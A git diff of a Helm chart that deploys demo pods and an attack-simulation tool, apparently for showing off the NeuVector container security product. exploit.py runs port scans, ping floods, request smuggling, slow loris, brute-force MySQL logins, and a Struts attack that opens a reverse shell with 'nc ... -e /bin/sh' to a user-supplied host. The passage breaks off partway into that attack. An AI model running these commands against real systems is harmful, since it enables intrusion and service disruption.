diff --git a/README.md b/README.md
index 9bee42b..7f96b5f 100644
--- a/README.md
+++ b/README.md
@@ -1 +1,22 @@
# nv-demo-helm
+Using this chart, will install some demo pods, as well as a menu based tool to trigger various activities.
+This chart can be installed in 1..n namespaces, and traffic etc... will be localized to that NS.
+
+## Install helm chart:
+exploit.image_tag: See valid tags at https://hub.docker.com/repository/docker/horantj/exploit
+
+struts.ingress.enabled: bool to enable ingress for struts. not strictly required for the menu tool.
+struts.ingress.host: Use a host or IP for ingress to struts. i.e. "struts.3.227.235.243.sslip.io"
+
+```
+git clone https://github.com/horantj/nv-demo-helm.git
+helm install -n demo --create-namespace \
+--set exploit.image_tag=0.4 --set struts.ingress.enabled=true \
+--set struts.ingress.host=struts.3.227.235.243.sslip.io
+```
+
+## Using exploit tool:
+Shell into the exploit pod and run the tool:
+```
+python3 exploit.py neuvector-svc-controller.cattle-neuvector-system.svc
+```
\ No newline at end of file
diff --git a/exploit-pod/Dockerfile b/exploit-pod/Dockerfile
index e01135d..3be5a25 100644
--- a/exploit-pod/Dockerfile
+++ b/exploit-pod/Dockerfile
@@ -1,5 +1,5 @@
FROM alpine:edge
-RUN apk upgrade && apk add -f py3-numpy py3-requests curl nmap mysql-client && \
+RUN apk upgrade && apk add -f py3-numpy py3-requests curl nmap mysql-client iputils && \
rm -rf /var/cache/apk/* && \
rm -rf /tmp/* && \
rm -rf /var/log/*
diff --git a/exploit-pod/exploit.py b/exploit-pod/exploit.py
index 51fde01..b6b048d 100644
--- a/exploit-pod/exploit.py
+++ b/exploit-pod/exploit.py
@@ -10,27 +10,26 @@
import sys
import numpy as np
-
def portscan():
- ping_list = ["redis.demo.svc.cluster.local"]
+ print("Running nmap against redis")
+ ping_list = ["redis"]
for n in range(1):
for svc in ping_list:
os.system("nmap -p- -O {0}".format(svc))
time.sleep(1)
-
def portscan_lite():
- ping_list = ["node.demo.svc.cluster.local", "redis.demo.svc.cluster.local"]
+ print("Running nmap against node and redis")
+ ping_list = ["node", "redis"]
for svc in ping_list:
os.system("nmap {0}".format(svc))
-
-
def ping_of_death():
- ping_list = ["node.demo.svc.cluster.local"]
+ print("Running ping -c 2 -s 40000 against node")
+ ping_list = ["node"]
for n in range(2):
for svc in ping_list:
- os.system("ping {} -c 2 -s 40000".format(svc))
+ os.system("ping -c 2 -s 40000 {}".format(svc))
def getaddr():
while True:
@@ -51,29 +50,28 @@ def get_neuvector_token(username,password,controller_ip):
r = requests.post(url, data=json.dumps(payload), headers=headers, verify=False)
return (r)
-
def neuvector_credentials():
username = input("What is Neuvector username: ")
password = input("What is Neuvector password: ")
ipaddr = input("what is the IP Address of Selected Controller: ")
return {"username": username, "password": password, "controller_ip": ipaddr}
-
def https_google():
+ print("Running curl to https://www.google.com")
results = os.system("curl https://www.google.com > /tmp/test")
return (results)
def http_google():
+ print("Running curl to http://www.google.com")
results = os.system("curl http://www.google.com > /tmp/test")
return (results)
-
def change_mode_monitor(token, controller_ip):
done =0
retries = 5
url = "https://"+controller_ip+":10443/v1/service/config"
#url = "https://neuvector-svc-controller.neuvector.svc.cluster.local:10443/v1/service/config"
- payload = {"config": {"services": ["exploit.demo", "node-pod.demo","redis-pod.demo", "nginx-pod.demo", "mysql1.demo", "struts.demo"], "policy_mode": "Monitor"}}
+ payload = {"config": {"services": ["node-pod."+my_ns, "redis-pod."+my_ns, "nginx-pod."+my_ns, "mysql1."+my_ns, "struts."+my_ns], "policy_mode": "Monitor"}}
headers = {'X-Auth-Token': token}
while done < retries:
r = requests.patch(url, data=json.dumps(payload), headers=headers, verify=False)
@@ -91,7 +89,7 @@ def change_mode_protect(token, controller_ip):
retries = 5
url = "https://"+controller_ip+":10443/v1/service/config"
#url = "https://neuvector-svc-controller.neuvector.svc.cluster.local:10443/v1/service/config"
- payload = {"config": {"services": ["exploit.demo", "node-pod.demo", "redis-pod.demo", "nginx-pod.demo", "mysql1.demo", "struts.demo"], "policy_mode": "Protect"}}
+ payload = {"config": {"services": ["node-pod."+my_ns, "redis-pod."+my_ns, "nginx-pod."+my_ns, "mysql1."+my_ns, "struts."+my_ns], "policy_mode": "Protect"}}
headers = {'X-Auth-Token': token}
while done < retries:
r = requests.patch(url, data=json.dumps(payload), headers=headers, verify=False)
@@ -104,13 +102,12 @@ def change_mode_protect(token, controller_ip):
done += 1
return(r)
-
def change_mode_discover(token, controller_ip):
done =0
retries = 5
url = "https://"+controller_ip+":10443/v1/service/config"
#url = "https://neuvector-svc-controller.neuvector.svc.cluster.local:10443/v1/service/config"
- payload = {"config": {"services": ["exploit.demo", "node-pod.demo", "redis-pod.demo", "nginx-pod.demo", "mysql1.demo", "struts.demo"], "policy_mode": "Discover"}}
+ payload = {"config": {"services": ["node-pod."+my_ns, "redis-pod."+my_ns, "nginx-pod."+my_ns, "mysql1."+my_ns, "struts."+my_ns], "policy_mode": "Discover"}}
headers = {'X-Auth-Token': token}
while done < retries:
r = requests.patch(url, data=json.dumps(payload), headers=headers, verify=False)
@@ -129,6 +126,7 @@ def convert_token(token):
return(token_dict['token']['token'])
def generate_client_traffic():
+ print("Making web calls to nginx and struts as well as mysql login")
urls = ["http://nginx-webui", "http://struts"]
for url in urls:
for n in range(10):
@@ -136,10 +134,10 @@ def generate_client_traffic():
mysql_password_correct()
def suspicious_process():
+ print("Running wget which should be suspicious in zero trust")
domain_list = ["google","neuvector"]
for svc in domain_list:
- os.system("wget https://{}.com".format(svc))
-
+ os.system("wget -O/dev/null https://{}.com".format(svc))
def os_update():
os.system("apt-get update -y")
@@ -149,17 +147,22 @@ def neuvector_Logout(token):
headers = {'X-Auth-Token': token}
r = requests.delete(url,headers=headers, verify=False)
-
def ping_flood():
- ping_list = ["node.demo.svc.cluster.local", "redis.demo.svc.cluster.local"]
+ print("Running ping -f -w 2 to node and redis")
+ ping_list = ["node", "redis"]
for n in range(1):
for svc in ping_list:
- os.system("ping -f {} -w 2".format(svc))
-
+ os.system("ping -f -w 2 {}".format(svc))
+def get_ns():
+ global my_ns
+ text_file = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace", "r")
+ my_ns = text_file.read()
+ text_file.close()
def request_smuggling():
- ping_list = [ "nginx-webui.demo.svc.cluster.local"]
+ print("Running a request smuggling attack against nginx/node")
+ ping_list = [ "nginx-webui"]
headers = {'Content-Length': '999'}
print("start http request smuggling")
for svc in ping_list:
@@ -167,30 +170,30 @@ def request_smuggling():
os.system("curl -H \"Content-Length: 123\" http://{} & ".format(svc))
def mysql_password():
- svc ="mysql1.demo.svc.cluster.local"
+ print("Creating failed logins to mysql1")
+ svc ="mysql1"
for n in range(5):
os.system("mysql -h {} -u hacker -password=hackck1".format(svc))
time.sleep(2)
-
def mysql_password_correct():
- svc ="mysql1.demo.svc.cluster.local"
- for n in range(5):
- os.system("mysql -h {} -u root -password=password".format(svc))
+ print("Creating a successful mysql connection")
+ svc ="mysql1"
+ for n in range(1):
+ os.system("mysql -h {} -u root --password=password -e \"select * from mysql.user\" > /dev/null".format(svc))
time.sleep(2)
-
-
def slow_loris():
- node_list = ["nginx-webui.demo.svc.cluster.local"]
+ node_list = ["nginx-webui"]
for n in range(2):
for svc in node_list:
os.system("telnet {} 80 &".format(svc))
-
-
def attack_struts():
- command= 'nc -nv 184.96.190.7 1337 -e /bin/sh'
+ print("This will run a struts attack against the vulnerable super-app and create a reverse shell to the specified host")
+ print('Enter hostname or IP listening for reverse shell on port 1337:')
+ shellip = input()
+ command= 'nc -nv '+shellip+' 1337 -e /bin/sh'
exploit = '''